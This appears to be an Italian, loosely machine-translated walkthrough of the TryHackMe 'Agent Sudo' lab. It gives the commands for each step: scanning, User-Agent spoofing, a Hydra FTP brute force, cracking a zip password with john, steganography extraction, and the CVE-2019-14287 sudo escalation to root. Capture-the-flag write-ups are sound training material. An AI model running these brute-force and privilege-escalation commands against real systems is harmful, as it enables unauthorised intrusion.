AGENTE SUDO SU TRYHACKME

La stanza impegnativa nel percorso per principianti in Agent sudo in Tryhackme

Il laboratorio è piuttosto lento, quindi dobbiamo aspettare la scansione delle porte.

Quindi cominciamo c'è così tanto da imparare.

A) Per prima cosa faremo NMAP

nmap -sV -sC -A 10.10.111.153

      
                

                    
                    
                
            

quindi guardiamo nella porta 80 quale pagina web è in esecuzione su Http

Dice di cambiare l'agente utente per ignorare questa pagina, quindi cosa possiamo fare?

Usiamo lo strumento proxy 'Burpsuite' che cos'è? strumento utilizzato per i test di penetrazione.

Usa rutto per intercettare la richiesta Ora cambia lo user-agent in C

Con User-agent impostato su C, siamo reindirizzati a http://10.10.111.153/agent_C_attention.php, dove possiamo vedere il seguente messaggio:

Ho pensato che "chris" dovesse essere l'utente del sistema.

quindi cosa possiamo fare qui?

Ora sappiamo che il nome utente è chris, quindi possiamo usare "Hydra" con la forza bruta per ottenere le credenziali FTP dell'utente.

digitare

hydra -l chris -P /usr/share/wordlists/rockyou.txt ftp://10.10.111.153

      
                

                    
                    
                
            

accedere utilizzando le credenziali FTP

ftp 10.10.111.153

      
                

                    
                    
                
            

Possiamo usare Exiftool o lo strumento steghide per ottenere i metadati dell'immagine.

Ora esamina i file e in cutie.png abbiamo trovato qualcosa

binwalk -e cutie.png

      
                

                    
                    
                
            

Ora dobbiamo decifrare la password per il file 8702.zip

zip2john 8702.zip > out.txt
jonh --wordlist=/usr/share/wordlists/rockyou.txt out.txt

      
                

                    
                    
                
            

Ora estrai il contenuto

7z e 8702.zip

      
                

                    
                    
                
            

cat To_agentR.txt

      
                

                    
                    
                
            

echo "QXJlYTUx" | base64 -d

Ora estraiamo il testo o il file da cute-alien.jpg

steghide extract -sf cute-alien.jpg
# Enter Area51 as passphrase
cat message.txt

      
                

                    
                    
                
            

Il prossimo passo è provare ad accedere utilizzando le credenziali SSH

ssh [email protected]

Abbiamo la bandiera dell'utente!

proviamo a ottenere Alien autospy.jpg usando type in

sudo scp [email protected]:Alien_autospy.jpg

Per ottenere il flag di root dobbiamo verificare quali permessi o privilegi abbiamo

Questo è un po' più complicato. Prima digitare il comando.

sudo -l

      
                

                    
                    
                
            

CVE-2019–14287

Aumenta i privilegi

sudo -u#-1 /bin/bash

      
                

                    
                    
                
            

Ora abbiamo tutte le nostre risposte, inviamole e abbiamo completato con successo il nostro CTF!!

Continua a provare, continua a lavorare :)

Grazie per aver letto!!

Buon Hacking RAGAZZI

Author: Xploit Ayush